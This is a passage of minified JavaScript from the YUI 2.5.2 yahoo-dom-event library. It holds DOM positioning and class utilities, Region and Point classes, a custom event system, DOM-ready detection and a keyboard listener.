P.style[Q];};}}if(G){I=function(P,Q,R){switch(Q){case"opacity":if(YAHOO.lang.isString(P.style.filter)){P.style.filter="alpha(opacity="+R*100+")";if(!P.currentStyle||!P.currentStyle.hasLayout){P.style.zoom=1;}}break;case"float":Q="styleFloat";default:P.style[Q]=R;}};}else{I=function(P,Q,R){if(Q=="float"){Q="cssFloat";}P.style[Q]=R;};}var D=function(P,Q){return P&&P.nodeType==1&&(!Q||Q(P));};YAHOO.util.Dom={get:function(R){if(R&&(R.nodeType||R.item)){return R;}if(YAHOO.lang.isString(R)||!R){return M.getElementById(R);}if(R.length!==undefined){var S=[];for(var Q=0,P=R.length;Q<P;++Q){S[S.length]=B.Dom.get(R[Q]);}return S;}return R;},getStyle:function(P,R){R=N(R);var Q=function(S){return K(S,R);};return B.Dom.batch(P,Q,B.Dom,true);},setStyle:function(P,R,S){R=N(R);var Q=function(T){I(T,R,S);};B.Dom.batch(P,Q,B.Dom,true);},getXY:function(P){var Q=function(R){if((R.parentNode===null||R.offsetParent===null||this.getStyle(R,"display")=="none")&&R!=R.ownerDocument.body){return false;}return H(R);};return B.Dom.batch(P,Q,B.Dom,true);},getX:function(P){var Q=function(R){return B.Dom.getXY(R)[0];};return B.Dom.batch(P,Q,B.Dom,true);},getY:function(P){var Q=function(R){return B.Dom.getXY(R)[1];};return B.Dom.batch(P,Q,B.Dom,true);},setXY:function(P,S,R){var Q=function(V){var U=this.getStyle(V,"position");if(U=="static"){this.setStyle(V,"position","relative");U="relative";}var X=this.getXY(V);if(X===false){return false;}var W=[parseInt(this.getStyle(V,"left"),10),parseInt(this.getStyle(V,"top"),10)];if(isNaN(W[0])){W[0]=(U=="relative")?0:V.offsetLeft;}if(isNaN(W[1])){W[1]=(U=="relative")?0:V.offsetTop;}if(S[0]!==null){V.style.left=S[0]-X[0]+W[0]+"px";}if(S[1]!==null){V.style.top=S[1]-X[1]+W[1]+"px";}if(!R){var T=this.getXY(V);if((S[0]!==null&&T[0]!=S[0])||(S[1]!==null&&T[1]!=S[1])){this.setXY(V,S,true);}}};B.Dom.batch(P,Q,B.Dom,true);},setX:function(Q,P){B.Dom.setXY(Q,[P,null]);},setY:function(P,Q){B.Dom.setXY(P,[null,Q]);},getRegion:function(P){var Q=function(R){if((R.parentNode===null||R.offsetParent===null||this.getStyle(R,"display")=="none")&&R!=R.ownerDocument.body){return false;}var S=B.Region.getRegion(R);return S;};return B.Dom.batch(P,Q,B.Dom,true);},getClientWidth:function(){return B.Dom.getViewportWidth();},getClientHeight:function(){return B.Dom.getViewportHeight();},getElementsByClassName:function(T,X,U,V){X=X||"*";U=(U)?B.Dom.get(U):null||M;if(!U){return[];}var Q=[],P=U.getElementsByTagName(X),W=O(T);for(var R=0,S=P.length;R<S;++R){if(W.test(P[R].className)){Q[Q.length]=P[R];if(V){V.call(P[R],P[R]);}}}return Q;},hasClass:function(R,Q){var P=O(Q);var S=function(T){return P.test(T.className);};return B.Dom.batch(R,S,B.Dom,true);},addClass:function(Q,P){var R=function(S){if(this.hasClass(S,P)){return false;}S.className=YAHOO.lang.trim([S.className,P].join(" "));return true;};return B.Dom.batch(Q,R,B.Dom,true);},removeClass:function(R,Q){var P=O(Q);var S=function(T){if(!Q||!this.hasClass(T,Q)){return false;}var U=T.className;T.className=U.replace(P," ");if(this.hasClass(T,Q)){this.removeClass(T,Q);}T.className=YAHOO.lang.trim(T.className);return true;};return B.Dom.batch(R,S,B.Dom,true);},replaceClass:function(S,Q,P){if(!P||Q===P){return false;}var R=O(Q);var T=function(U){if(!this.hasClass(U,Q)){this.addClass(U,P);return true;}U.className=U.className.replace(R," "+P+" ");if(this.hasClass(U,Q)){this.replaceClass(U,Q,P);}U.className=YAHOO.lang.trim(U.className);return true;};return B.Dom.batch(S,T,B.Dom,true);},generateId:function(P,R){R=R||"yui-gen";var Q=function(S){if(S&&S.id){return S.id;}var T=R+YAHOO.env._id_counter++;if(S){S.id=T;}return T;};return B.Dom.batch(P,Q,B.Dom,true)||Q.apply(B.Dom,arguments);},isAncestor:function(P,Q){P=B.Dom.get(P);Q=B.Dom.get(Q);if(!P||!Q){return false;}if(P.contains&&Q.nodeType&&!L){return P.contains(Q);}else{if(P.compareDocumentPosition&&Q.nodeType){return !!(P.compareDocumentPosition(Q)&16);}else{if(Q.nodeType){return !!this.getAncestorBy(Q,function(R){return R==P;});}}}return false;},inDocument:function(P){return this.isAncestor(M.documentElement,P);},getElementsBy:function(W,Q,R,T){Q=Q||"*";R=(R)?B.Dom.get(R):null||M;if(!R){return[];}var S=[],V=R.getElementsByTagName(Q);for(var U=0,P=V.length;U<P;++U){if(W(V[U])){S[S.length]=V[U];if(T){T(V[U]);}}}return S;},batch:function(T,W,V,R){T=(T&&(T.tagName||T.item))?T:B.Dom.get(T);if(!T||!W){return false;}var S=(R)?V:window;if(T.tagName||T.length===undefined){return W.call(S,T,V);}var U=[];for(var Q=0,P=T.length;Q<P;++Q){U[U.length]=W.call(S,T[Q],V);}return U;},getDocumentHeight:function(){var Q=(M.compatMode!="CSS1Compat")?M.body.scrollHeight:M.documentElement.scrollHeight;var P=Math.max(Q,B.Dom.getViewportHeight());return P;},getDocumentWidth:function(){var Q=(M.compatMode!="CSS1Compat")?M.body.scrollWidth:M.documentElement.scrollWidth;var P=Math.max(Q,B.Dom.getViewportWidth());return P;},getViewportHeight:function(){var P=self.innerHeight; -var Q=M.compatMode;if((Q||G)&&!C){P=(Q=="CSS1Compat")?M.documentElement.clientHeight:M.body.clientHeight;}return P;},getViewportWidth:function(){var P=self.innerWidth;var Q=M.compatMode;if(Q||G){P=(Q=="CSS1Compat")?M.documentElement.clientWidth:M.body.clientWidth;}return P;},getAncestorBy:function(P,Q){while(P=P.parentNode){if(D(P,Q)){return P;}}return null;},getAncestorByClassName:function(Q,P){Q=B.Dom.get(Q);if(!Q){return null;}var R=function(S){return B.Dom.hasClass(S,P);};return B.Dom.getAncestorBy(Q,R);},getAncestorByTagName:function(Q,P){Q=B.Dom.get(Q);if(!Q){return null;}var R=function(S){return S.tagName&&S.tagName.toUpperCase()==P.toUpperCase();};return B.Dom.getAncestorBy(Q,R);},getPreviousSiblingBy:function(P,Q){while(P){P=P.previousSibling;if(D(P,Q)){return P;}}return null;},getPreviousSibling:function(P){P=B.Dom.get(P);if(!P){return null;}return B.Dom.getPreviousSiblingBy(P);},getNextSiblingBy:function(P,Q){while(P){P=P.nextSibling;if(D(P,Q)){return P;}}return null;},getNextSibling:function(P){P=B.Dom.get(P);if(!P){return null;}return B.Dom.getNextSiblingBy(P);},getFirstChildBy:function(P,R){var Q=(D(P.firstChild,R))?P.firstChild:null;return Q||B.Dom.getNextSiblingBy(P.firstChild,R);},getFirstChild:function(P,Q){P=B.Dom.get(P);if(!P){return null;}return B.Dom.getFirstChildBy(P);},getLastChildBy:function(P,R){if(!P){return null;}var Q=(D(P.lastChild,R))?P.lastChild:null;return Q||B.Dom.getPreviousSiblingBy(P.lastChild,R);},getLastChild:function(P){P=B.Dom.get(P);return B.Dom.getLastChildBy(P);},getChildrenBy:function(Q,S){var R=B.Dom.getFirstChildBy(Q,S);var P=R?[R]:[];B.Dom.getNextSiblingBy(R,function(T){if(!S||S(T)){P[P.length]=T;}return false;});return P;},getChildren:function(P){P=B.Dom.get(P);if(!P){}return B.Dom.getChildrenBy(P);},getDocumentScrollLeft:function(P){P=P||M;return Math.max(P.documentElement.scrollLeft,P.body.scrollLeft);},getDocumentScrollTop:function(P){P=P||M;return Math.max(P.documentElement.scrollTop,P.body.scrollTop);},insertBefore:function(Q,P){Q=B.Dom.get(Q);P=B.Dom.get(P);if(!Q||!P||!P.parentNode){return null;}return P.parentNode.insertBefore(Q,P);},insertAfter:function(Q,P){Q=B.Dom.get(Q);P=B.Dom.get(P);if(!Q||!P||!P.parentNode){return null;}if(P.nextSibling){return P.parentNode.insertBefore(Q,P.nextSibling);}else{return P.parentNode.appendChild(Q);}},getClientRegion:function(){var R=B.Dom.getDocumentScrollTop(),Q=B.Dom.getDocumentScrollLeft(),S=B.Dom.getViewportWidth()+Q,P=B.Dom.getViewportHeight()+R;return new B.Region(R,S,P,Q);}};var H=function(){if(M.documentElement.getBoundingClientRect){return function(Q){var R=Q.getBoundingClientRect();var P=Q.ownerDocument;return[R.left+B.Dom.getDocumentScrollLeft(P),R.top+B.Dom.getDocumentScrollTop(P)];};}else{return function(R){var S=[R.offsetLeft,R.offsetTop];var Q=R.offsetParent;var P=(L&&B.Dom.getStyle(R,"position")=="absolute"&&R.offsetParent==R.ownerDocument.body);if(Q!=R){while(Q){S[0]+=Q.offsetLeft;S[1]+=Q.offsetTop;if(!P&&L&&B.Dom.getStyle(Q,"position")=="absolute"){P=true;}Q=Q.offsetParent;}}if(P){S[0]-=R.ownerDocument.body.offsetLeft;S[1]-=R.ownerDocument.body.offsetTop;}Q=R.parentNode;while(Q.tagName&&!E.ROOT_TAG.test(Q.tagName)){if(Q.scrollTop||Q.scrollLeft){if(!E.OP_SCROLL.test(B.Dom.getStyle(Q,"display"))){if(!C||B.Dom.getStyle(Q,"overflow")!=="visible"){S[0]-=Q.scrollLeft;S[1]-=Q.scrollTop;}}}Q=Q.parentNode;}return S;};}}();})();YAHOO.util.Region=function(C,D,A,B){this.top=C;this[1]=C;this.right=D;this.bottom=A;this.left=B;this[0]=B;};YAHOO.util.Region.prototype.contains=function(A){return(A.left>=this.left&&A.right<=this.right&&A.top>=this.top&&A.bottom<=this.bottom);};YAHOO.util.Region.prototype.getArea=function(){return((this.bottom-this.top)*(this.right-this.left));};YAHOO.util.Region.prototype.intersect=function(E){var C=Math.max(this.top,E.top);var D=Math.min(this.right,E.right);var A=Math.min(this.bottom,E.bottom);var B=Math.max(this.left,E.left);if(A>=C&&D>=B){return new YAHOO.util.Region(C,D,A,B);}else{return null;}};YAHOO.util.Region.prototype.union=function(E){var C=Math.min(this.top,E.top);var D=Math.max(this.right,E.right);var A=Math.max(this.bottom,E.bottom);var B=Math.min(this.left,E.left);return new YAHOO.util.Region(C,D,A,B);};YAHOO.util.Region.prototype.toString=function(){return("Region {"+"top: "+this.top+", right: "+this.right+", bottom: "+this.bottom+", left: "+this.left+"}");};YAHOO.util.Region.getRegion=function(D){var F=YAHOO.util.Dom.getXY(D);var C=F[1];var E=F[0]+D.offsetWidth;var A=F[1]+D.offsetHeight;var B=F[0];return new YAHOO.util.Region(C,E,A,B);};YAHOO.util.Point=function(A,B){if(YAHOO.lang.isArray(A)){B=A[1];A=A[0];}this.x=this.right=this.left=this[0]=A;this.y=this.top=this.bottom=this[1]=B;};YAHOO.util.Point.prototype=new YAHOO.util.Region();YAHOO.register("dom",YAHOO.util.Dom,{version:"2.5.2",build:"1076"});YAHOO.util.CustomEvent=function(D,B,C,A){this.type=D;this.scope=B||window;this.silent=C;this.signature=A||YAHOO.util.CustomEvent.LIST;this.subscribers=[];if(!this.silent){}var E="_YUICEOnSubscribe";if(D!==E){this.subscribeEvent=new YAHOO.util.CustomEvent(E,this,true);}this.lastError=null;};YAHOO.util.CustomEvent.LIST=0;YAHOO.util.CustomEvent.FLAT=1;YAHOO.util.CustomEvent.prototype={subscribe:function(B,C,A){if(!B){throw new Error("Invalid callback for subscriber to '"+this.type+"'");}if(this.subscribeEvent){this.subscribeEvent.fire(B,C,A);}this.subscribers.push(new YAHOO.util.Subscriber(B,C,A));},unsubscribe:function(D,F){if(!D){return this.unsubscribeAll();}var E=false;for(var B=0,A=this.subscribers.length;B<A;++B){var C=this.subscribers[B];if(C&&C.contains(D,F)){this._delete(B);E=true;}}return E;},fire:function(){this.lastError=null;var K=[],E=this.subscribers.length;if(!E&&this.silent){return true;}var I=[].slice.call(arguments,0),G=true,D,J=false;if(!this.silent){}var C=this.subscribers.slice(),A=YAHOO.util.Event.throwErrors;for(D=0;D<E;++D){var M=C[D];if(!M){J=true;}else{if(!this.silent){}var L=M.getScope(this.scope);if(this.signature==YAHOO.util.CustomEvent.FLAT){var B=null;if(I.length>0){B=I[0];}try{G=M.fn.call(L,B,M.obj);}catch(F){this.lastError=F;if(A){throw F;}}}else{try{G=M.fn.call(L,this.type,I,M.obj);}catch(H){this.lastError=H;if(A){throw H;}}}if(false===G){if(!this.silent){}break;}}}return(G!==false);},unsubscribeAll:function(){for(var A=this.subscribers.length-1;A>-1;A--){this._delete(A);}this.subscribers=[];return A;},_delete:function(A){var B=this.subscribers[A];if(B){delete B.fn;delete B.obj;}this.subscribers.splice(A,1);},toString:function(){return"CustomEvent: "+"'"+this.type+"', "+"scope: "+this.scope;}};YAHOO.util.Subscriber=function(B,C,A){this.fn=B;this.obj=YAHOO.lang.isUndefined(C)?null:C;this.override=A;};YAHOO.util.Subscriber.prototype.getScope=function(A){if(this.override){if(this.override===true){return this.obj;}else{return this.override;}}return A;};YAHOO.util.Subscriber.prototype.contains=function(A,B){if(B){return(this.fn==A&&this.obj==B);}else{return(this.fn==A);}};YAHOO.util.Subscriber.prototype.toString=function(){return"Subscriber { obj: "+this.obj+", override: "+(this.override||"no")+" }";};if(!YAHOO.util.Event){YAHOO.util.Event=function(){var H=false;var I=[];var J=[];var G=[];var E=[];var C=0;var F=[];var B=[];var A=0;var D={63232:38,63233:40,63234:37,63235:39,63276:33,63277:34,25:9};return{POLL_RETRYS:2000,POLL_INTERVAL:20,EL:0,TYPE:1,FN:2,WFN:3,UNLOAD_OBJ:3,ADJ_SCOPE:4,OBJ:5,OVERRIDE:6,lastError:null,isSafari:YAHOO.env.ua.webkit,webkit:YAHOO.env.ua.webkit,isIE:YAHOO.env.ua.ie,_interval:null,_dri:null,DOMReady:false,throwErrors:false,startInterval:function(){if(!this._interval){var K=this;var L=function(){K._tryPreloadAttach();};this._interval=setInterval(L,this.POLL_INTERVAL);}},onAvailable:function(P,M,Q,O,N){var K=(YAHOO.lang.isString(P))?[P]:P;for(var L=0;L<K.length;L=L+1){F.push({id:K[L],fn:M,obj:Q,override:O,checkReady:N});}C=this.POLL_RETRYS;this.startInterval();},onContentReady:function(M,K,N,L){this.onAvailable(M,K,N,L,true);},onDOMReady:function(K,M,L){if(this.DOMReady){setTimeout(function(){var N=window;if(L){if(L===true){N=M;}else{N=L;}}K.call(N,"DOMReady",[],M);},0);}else{this.DOMReadyEvent.subscribe(K,M,L);}},addListener:function(M,K,V,Q,L){if(!V||!V.call){return false;}if(this._isValidCollection(M)){var W=true;for(var R=0,T=M.length;R<T;++R){W=this.on(M[R],K,V,Q,L)&&W;}return W;}else{if(YAHOO.lang.isString(M)){var P=this.getEl(M);if(P){M=P;}else{this.onAvailable(M,function(){YAHOO.util.Event.on(M,K,V,Q,L);});return true;}}}if(!M){return false;}if("unload"==K&&Q!==this){J[J.length]=[M,K,V,Q,L];return true;}var Y=M;if(L){if(L===true){Y=Q;}else{Y=L;}}var N=function(Z){return V.call(Y,YAHOO.util.Event.getEvent(Z,M),Q);};var X=[M,K,V,N,Y,Q,L];var S=I.length;I[S]=X;if(this.useLegacyEvent(M,K)){var O=this.getLegacyIndex(M,K);if(O==-1||M!=G[O][0]){O=G.length;B[M.id+K]=O;G[O]=[M,K,M["on"+K]];E[O]=[];M["on"+K]=function(Z){YAHOO.util.Event.fireLegacyEvent(YAHOO.util.Event.getEvent(Z),O);};}E[O].push(X);}else{try{this._simpleAdd(M,K,N,false);}catch(U){this.lastError=U;this.removeListener(M,K,V);return false;}}return true;},fireLegacyEvent:function(O,M){var Q=true,K,S,R,T,P;S=E[M].slice();for(var L=0,N=S.length;L<N;++L){R=S[L];if(R&&R[this.WFN]){T=R[this.ADJ_SCOPE];P=R[this.WFN].call(T,O);Q=(Q&&P);}}K=G[M];if(K&&K[2]){K[2](O);}return Q;},getLegacyIndex:function(L,M){var K=this.generateId(L)+M;if(typeof B[K]=="undefined"){return -1;}else{return B[K];}},useLegacyEvent:function(L,M){if(this.webkit&&("click"==M||"dblclick"==M)){var K=parseInt(this.webkit,10);if(!isNaN(K)&&K<418){return true;}}return false;},removeListener:function(L,K,T){var O,R,V;if(typeof L=="string"){L=this.getEl(L);}else{if(this._isValidCollection(L)){var U=true;for(O=L.length-1;O>-1;O--){U=(this.removeListener(L[O],K,T)&&U);}return U;}}if(!T||!T.call){return this.purgeElement(L,false,K);}if("unload"==K){for(O=J.length-1;O>-1;O--){V=J[O];if(V&&V[0]==L&&V[1]==K&&V[2]==T){J.splice(O,1);return true;}}return false;}var P=null;var Q=arguments[3];if("undefined"===typeof Q){Q=this._getCacheIndex(L,K,T);}if(Q>=0){P=I[Q];}if(!L||!P){return false;}if(this.useLegacyEvent(L,K)){var N=this.getLegacyIndex(L,K);var M=E[N];if(M){for(O=0,R=M.length;O<R;++O){V=M[O];if(V&&V[this.EL]==L&&V[this.TYPE]==K&&V[this.FN]==T){M.splice(O,1);break;}}}}else{try{this._simpleRemove(L,K,P[this.WFN],false);}catch(S){this.lastError=S;return false;}}delete I[Q][this.WFN];delete I[Q][this.FN];I.splice(Q,1);return true;},getTarget:function(M,L){var K=M.target||M.srcElement;return this.resolveTextNode(K);},resolveTextNode:function(L){try{if(L&&3==L.nodeType){return L.parentNode;}}catch(K){}return L;},getPageX:function(L){var K=L.pageX;if(!K&&0!==K){K=L.clientX||0;if(this.isIE){K+=this._getScrollLeft();}}return K;},getPageY:function(K){var L=K.pageY;if(!L&&0!==L){L=K.clientY||0;if(this.isIE){L+=this._getScrollTop();}}return L; -},getXY:function(K){return[this.getPageX(K),this.getPageY(K)];},getRelatedTarget:function(L){var K=L.relatedTarget;if(!K){if(L.type=="mouseout"){K=L.toElement;}else{if(L.type=="mouseover"){K=L.fromElement;}}}return this.resolveTextNode(K);},getTime:function(M){if(!M.time){var L=new Date().getTime();try{M.time=L;}catch(K){this.lastError=K;return L;}}return M.time;},stopEvent:function(K){this.stopPropagation(K);this.preventDefault(K);},stopPropagation:function(K){if(K.stopPropagation){K.stopPropagation();}else{K.cancelBubble=true;}},preventDefault:function(K){if(K.preventDefault){K.preventDefault();}else{K.returnValue=false;}},getEvent:function(M,K){var L=M||window.event;if(!L){var N=this.getEvent.caller;while(N){L=N.arguments[0];if(L&&Event==L.constructor){break;}N=N.caller;}}return L;},getCharCode:function(L){var K=L.keyCode||L.charCode||0;if(YAHOO.env.ua.webkit&&(K in D)){K=D[K];}return K;},_getCacheIndex:function(O,P,N){for(var M=0,L=I.length;M<L;M=M+1){var K=I[M];if(K&&K[this.FN]==N&&K[this.EL]==O&&K[this.TYPE]==P){return M;}}return -1;},generateId:function(K){var L=K.id;if(!L){L="yuievtautoid-"+A;++A;K.id=L;}return L;},_isValidCollection:function(L){try{return(L&&typeof L!=="string"&&L.length&&!L.tagName&&!L.alert&&typeof L[0]!=="undefined");}catch(K){return false;}},elCache:{},getEl:function(K){return(typeof K==="string")?document.getElementById(K):K;},clearCache:function(){},DOMReadyEvent:new YAHOO.util.CustomEvent("DOMReady",this),_load:function(L){if(!H){H=true;var K=YAHOO.util.Event;K._ready();K._tryPreloadAttach();}},_ready:function(L){var K=YAHOO.util.Event;if(!K.DOMReady){K.DOMReady=true;K.DOMReadyEvent.fire();K._simpleRemove(document,"DOMContentLoaded",K._ready);}},_tryPreloadAttach:function(){if(F.length===0){C=0;clearInterval(this._interval);this._interval=null;return ;}if(this.locked){return ;}if(this.isIE){if(!this.DOMReady){this.startInterval();return ;}}this.locked=true;var Q=!H;if(!Q){Q=(C>0&&F.length>0);}var P=[];var R=function(T,U){var S=T;if(U.override){if(U.override===true){S=U.obj;}else{S=U.override;}}U.fn.call(S,U.obj);};var L,K,O,N,M=[];for(L=0,K=F.length;L<K;L=L+1){O=F[L];if(O){N=this.getEl(O.id);if(N){if(O.checkReady){if(H||N.nextSibling||!Q){M.push(O);F[L]=null;}}else{R(N,O);F[L]=null;}}else{P.push(O);}}}for(L=0,K=M.length;L<K;L=L+1){O=M[L];R(this.getEl(O.id),O);}C--;if(Q){for(L=F.length-1;L>-1;L--){O=F[L];if(!O||!O.id){F.splice(L,1);}}this.startInterval();}else{clearInterval(this._interval);this._interval=null;}this.locked=false;},purgeElement:function(O,P,R){var M=(YAHOO.lang.isString(O))?this.getEl(O):O;var Q=this.getListeners(M,R),N,K;if(Q){for(N=Q.length-1;N>-1;N--){var L=Q[N];this.removeListener(M,L.type,L.fn);}}if(P&&M&&M.childNodes){for(N=0,K=M.childNodes.length;N<K;++N){this.purgeElement(M.childNodes[N],P,R);}}},getListeners:function(M,K){var P=[],L;if(!K){L=[I,J];}else{if(K==="unload"){L=[J];}else{L=[I];}}var R=(YAHOO.lang.isString(M))?this.getEl(M):M;for(var O=0;O<L.length;O=O+1){var T=L[O];if(T){for(var Q=0,S=T.length;Q<S;++Q){var N=T[Q];if(N&&N[this.EL]===R&&(!K||K===N[this.TYPE])){P.push({type:N[this.TYPE],fn:N[this.FN],obj:N[this.OBJ],adjust:N[this.OVERRIDE],scope:N[this.ADJ_SCOPE],index:Q});}}}}return(P.length)?P:null;},_unload:function(Q){var K=YAHOO.util.Event,N,M,L,P,O,R=J.slice();for(N=0,P=J.length;N<P;++N){L=R[N];if(L){var S=window;if(L[K.ADJ_SCOPE]){if(L[K.ADJ_SCOPE]===true){S=L[K.UNLOAD_OBJ];}else{S=L[K.ADJ_SCOPE];}}L[K.FN].call(S,K.getEvent(Q,L[K.EL]),L[K.UNLOAD_OBJ]);R[N]=null;L=null;S=null;}}J=null;if(I){for(M=I.length-1;M>-1;M--){L=I[M];if(L){K.removeListener(L[K.EL],L[K.TYPE],L[K.FN],M);}}L=null;}G=null;K._simpleRemove(window,"unload",K._unload);},_getScrollLeft:function(){return this._getScroll()[1];},_getScrollTop:function(){return this._getScroll()[0];},_getScroll:function(){var K=document.documentElement,L=document.body;if(K&&(K.scrollTop||K.scrollLeft)){return[K.scrollTop,K.scrollLeft];}else{if(L){return[L.scrollTop,L.scrollLeft];}else{return[0,0];}}},regCE:function(){},_simpleAdd:function(){if(window.addEventListener){return function(M,N,L,K){M.addEventListener(N,L,(K));};}else{if(window.attachEvent){return function(M,N,L,K){M.attachEvent("on"+N,L);};}else{return function(){};}}}(),_simpleRemove:function(){if(window.removeEventListener){return function(M,N,L,K){M.removeEventListener(N,L,(K));};}else{if(window.detachEvent){return function(L,M,K){L.detachEvent("on"+M,K);};}else{return function(){};}}}()};}();(function(){var EU=YAHOO.util.Event;EU.on=EU.addListener; -/* DOMReady: based on work by: Dean Edwards/John Resig/Matthias Miller */ -if(EU.isIE){YAHOO.util.Event.onDOMReady(YAHOO.util.Event._tryPreloadAttach,YAHOO.util.Event,true);var n=document.createElement("p");EU._dri=setInterval(function(){try{n.doScroll("left");clearInterval(EU._dri);EU._dri=null;EU._ready();n=null;}catch(ex){}},EU.POLL_INTERVAL);}else{if(EU.webkit&&EU.webkit<525){EU._dri=setInterval(function(){var rs=document.readyState;if("loaded"==rs||"complete"==rs){clearInterval(EU._dri);EU._dri=null;EU._ready();}},EU.POLL_INTERVAL);}else{EU._simpleAdd(document,"DOMContentLoaded",EU._ready);}}EU._simpleAdd(window,"load",EU._load);EU._simpleAdd(window,"unload",EU._unload);EU._tryPreloadAttach();})();}YAHOO.util.EventProvider=function(){};YAHOO.util.EventProvider.prototype={__yui_events:null,__yui_subscribers:null,subscribe:function(A,C,F,E){this.__yui_events=this.__yui_events||{};var D=this.__yui_events[A];if(D){D.subscribe(C,F,E);}else{this.__yui_subscribers=this.__yui_subscribers||{};var B=this.__yui_subscribers;if(!B[A]){B[A]=[];}B[A].push({fn:C,obj:F,override:E});}},unsubscribe:function(C,E,G){this.__yui_events=this.__yui_events||{};var A=this.__yui_events;if(C){var F=A[C];if(F){return F.unsubscribe(E,G);}}else{var B=true;for(var D in A){if(YAHOO.lang.hasOwnProperty(A,D)){B=B&&A[D].unsubscribe(E,G);}}return B;}return false;},unsubscribeAll:function(A){return this.unsubscribe(A);},createEvent:function(G,D){this.__yui_events=this.__yui_events||{};var A=D||{};var I=this.__yui_events; -if(I[G]){}else{var H=A.scope||this;var E=(A.silent);var B=new YAHOO.util.CustomEvent(G,H,E,YAHOO.util.CustomEvent.FLAT);I[G]=B;if(A.onSubscribeCallback){B.subscribeEvent.subscribe(A.onSubscribeCallback);}this.__yui_subscribers=this.__yui_subscribers||{};var F=this.__yui_subscribers[G];if(F){for(var C=0;C<F.length;++C){B.subscribe(F[C].fn,F[C].obj,F[C].override);}}}return I[G];},fireEvent:function(E,D,A,C){this.__yui_events=this.__yui_events||{};var G=this.__yui_events[E];if(!G){return null;}var B=[];for(var F=1;F<arguments.length;++F){B.push(arguments[F]);}return G.fire.apply(G,B);},hasEvent:function(A){if(this.__yui_events){if(this.__yui_events[A]){return true;}}return false;}};YAHOO.util.KeyListener=function(A,F,B,C){if(!A){}else{if(!F){}else{if(!B){}}}if(!C){C=YAHOO.util.KeyListener.KEYDOWN;}var D=new YAHOO.util.CustomEvent("keyPressed");this.enabledEvent=new YAHOO.util.CustomEvent("enabled");this.disabledEvent=new YAHOO.util.CustomEvent("disabled");if(typeof A=="string"){A=document.getElementById(A);}if(typeof B=="function"){D.subscribe(B);}else{D.subscribe(B.fn,B.scope,B.correctScope);}function E(J,I){if(!F.shift){F.shift=false;}if(!F.alt){F.alt=false;}if(!F.ctrl){F.ctrl=false;}if(J.shiftKey==F.shift&&J.altKey==F.alt&&J.ctrlKey==F.ctrl){var G;if(F.keys instanceof Array){for(var H=0;H<F.keys.length;H++){G=F.keys[H];if(G==J.charCode){D.fire(J.charCode,J);break;}else{if(G==J.keyCode){D.fire(J.keyCode,J);break;}}}}else{G=F.keys;if(G==J.charCode){D.fire(J.charCode,J);}else{if(G==J.keyCode){D.fire(J.keyCode,J);}}}}}this.enable=function(){if(!this.enabled){YAHOO.util.Event.addListener(A,C,E);this.enabledEvent.fire(F);}this.enabled=true;};this.disable=function(){if(this.enabled){YAHOO.util.Event.removeListener(A,C,E);this.disabledEvent.fire(F);}this.enabled=false;};this.toString=function(){return"KeyListener ["+F.keys+"] "+A.tagName+(A.id?"["+A.id+"]":"");};};YAHOO.util.KeyListener.KEYDOWN="keydown";YAHOO.util.KeyListener.KEYUP="keyup";YAHOO.util.KeyListener.KEY={ALT:18,BACK_SPACE:8,CAPS_LOCK:20,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,META:224,NUM_LOCK:144,PAGE_DOWN:34,PAGE_UP:33,PAUSE:19,PRINTSCREEN:44,RIGHT:39,SCROLL_LOCK:145,SHIFT:16,SPACE:32,TAB:9,UP:38};YAHOO.register("event",YAHOO.util.Event,{version:"2.5.2",build:"1076"});YAHOO.register("yahoo-dom-event", YAHOO, {version: "2.5.2", build: "1076"});